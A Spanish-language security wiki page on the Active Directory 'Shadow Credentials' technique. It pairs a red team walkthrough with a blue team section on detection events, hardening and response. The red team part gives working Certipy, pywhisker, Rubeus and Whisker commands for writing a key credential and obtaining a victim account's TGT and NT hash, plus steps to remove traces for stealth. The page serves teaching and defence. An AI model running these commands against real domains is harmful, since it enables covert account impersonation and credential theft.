Shadow Credentials
Shadow Credentials es una técnica de suplantación que abusa de Key Trust: en AD, el atributo msDS-KeyCredentialLink de un usuario o equipo guarda claves públicas usadas para autenticación por certificado (PKINIT), el mecanismo detrás de Windows Hello for Business. Si un atacante puede escribir ese atributo en una cuenta objetivo, le añade su propio par de claves y luego se autentica por PKINIT como esa cuenta, obteniendo su TGT y su hash NT —sin cambiar su contraseña ni dejar la cuenta inutilizable.
Modelo de amenaza
Sección titulada «Modelo de amenaza»A diferencia de un reset de contraseña (ruidoso, rompe el acceso del usuario legítimo y es evidente), Shadow Credentials es sigiloso y reversible: añades una clave, te autenticas, y la quitas; el usuario nunca nota nada. El requisito es un permiso de escritura (GenericWrite, GenericAll, WriteProperty sobre msDS-KeyCredentialLink) sobre la cuenta objetivo —exactamente el tipo de arista que BloodHound revela a docenas en un AD real.
Prerrequisitos
Sección titulada «Prerrequisitos»- AD CS o al menos un DC con soporte PKINIT/Key Trust (DC 2016+). No requiere una plantilla vulnerable como los ESC: basta el Key Trust del dominio.
- Permiso de escritura sobre
msDS-KeyCredentialLinkde la víctima (GenericWrite/GenericAll/WriteProperty), descubierto en enumeración/BloodHound.
Red Team
Sección titulada «Red Team»Explotación (Linux — Certipy / pywhisker)
Sección titulada «Explotación (Linux — Certipy / pywhisker)»# añade la shadow credential y obtiene hash/TGT en un paso (Certipy)certipy shadow auto -u atacante@dominio -p pass -account 'VICTIM$' -dc-ip <DC># -> devuelve el NT hash de VICTIM$ y/o un PFX para PKINITPaso a paso con pywhisker + PKINITtools:
# 1) escribir el KeyCredentialpywhisker.py -d dominio -u atacante -p pass --target 'VICTIM$' --action add# 2) usar el PFX resultante para pedir TGT por PKINITgettgtpkinit.py -cert-pfx victim.pfx dominio/VICTIM$ victim.ccache# 3) y/o recuperar el NT hash con el TGTgetnthash.py dominio/VICTIM$ -key <asrep-key>Explotación (Windows — Whisker + Rubeus)
Sección titulada «Explotación (Windows — Whisker + Rubeus)»Whisker.exe add /target:VICTIM$ # añade la clave, devuelve comando RubeusRubeus.exe asktgt /user:VICTIM$ /certificate:<b64> /getcredentials /pttDónde encaja
Sección titulada «Dónde encaja»- Tras una arista de ACL (GenericWrite/GenericAll) en BloodHound → impersonar esa cuenta sin resetear su password.
- Encadenado con NTLM relay a LDAP (NTLM Relay): relayas una cuenta de máquina al DC y le escribes el KeyCredential → te autenticas como ese equipo.
- Sobre una cuenta de equipo cuyo hash te interese (p. ej. para RBCD o para acceder a ese host).
Limpieza
Sección titulada «Limpieza»pywhisker.py ... --action remove # o certipy shadow ... (restaura el atributo)Herramientas
Sección titulada «Herramientas»- Certipy (
shadow auto) — el camino más rápido en Linux. - pywhisker + PKINITtools (
gettgtpkinit.py,getnthash.py) — Linux, paso a paso. - Whisker + Rubeus — Windows.
- BloodHound — localiza las aristas de escritura que lo habilitan (
AddKeyCredentialLink).
Impacto
Sección titulada «Impacto»Suplantación completa de la cuenta objetivo (TGT + NT hash) de forma sigilosa y reversible, partiendo solo de un permiso de escritura. Es la forma preferida de “cobrar” una arista GenericWrite/GenericAll sobre un usuario o equipo sin el ruido de un reset de contraseña.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Modificaciones de
msDS-KeyCredentialLink: auditar escrituras de este atributo (event 5136 con el atributo, si está la auditoría de cambios del directorio) → señal de alta fidelidad. - Autenticaciones PKINIT (4768 con certificado) para cuentas que no usan Windows Hello/certificados.
- Correlación: una cuenta añade un KeyCredential a otra y poco después PKINIT como esa otra.
Telemetría
Sección titulada «Telemetría»Habilita auditoría de cambios en objetos del directorio sobre msDS-KeyCredentialLink; monitoriza 4768 con pre-auth por certificado; BloodHound para inventariar quién puede escribir ese atributo.
Hardening
Sección titulada «Hardening»- Minimiza las ACLs de escritura (GenericWrite/GenericAll/WriteProperty) sobre usuarios y equipos — el mismo trabajo que reduce el grafo de BloodHound.
- Protege las cuentas Tier 0: que nadie fuera de Tier 0 pueda escribir sus atributos.
- Si no usas Windows Hello for Business/Key Trust, considera restringir/monitorizar
msDS-KeyCredentialLink. - Fuerza LDAP signing/channel binding (corta el relay que habilita escribirlo sobre cuentas de máquina).
Respuesta
Sección titulada «Respuesta»Elimina los KeyCredentials maliciosos del atributo, resetea la cuenta si fue impersonada, revisa qué alcanzó con ese TGT/hash, y cierra la ACL de escritura que lo permitió.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- Shadow Credentials no es un CVE: es abuso de Key Trust (Elad Shamir, “Shadow Credentials”, 2021). MITRE T1556/T1098.
- Es la “cash-out” estándar de aristas
GenericWrite/GenericAllen informes de red team modernos, reemplazando al reset de contraseña por sigilo. - Se combina habitualmente con las cadenas de AD CS (AD CS (Active Directory Certificate Services)) y NTLM relay (NTLM Relay) en compromisos reales de dominio.
Checklist de prueba
Sección titulada «Checklist de prueba»- ¿Tienes escritura sobre
msDS-KeyCredentialLinkde la víctima? (BloodHoundAddKeyCredentialLink) - ¿El dominio soporta PKINIT/Key Trust (DC 2016+)?
- Añadir KeyCredential y obtener TGT/NT hash (Certipy shadow auto)
- Encadenar con relay a LDAP sobre una cuenta de máquina
- Usar sobre cuenta de equipo para RBCD/acceso
- Limpiar el atributo tras explotar (sigilo)
- Blue: ¿auditoría de cambios de
msDS-KeyCredentialLink?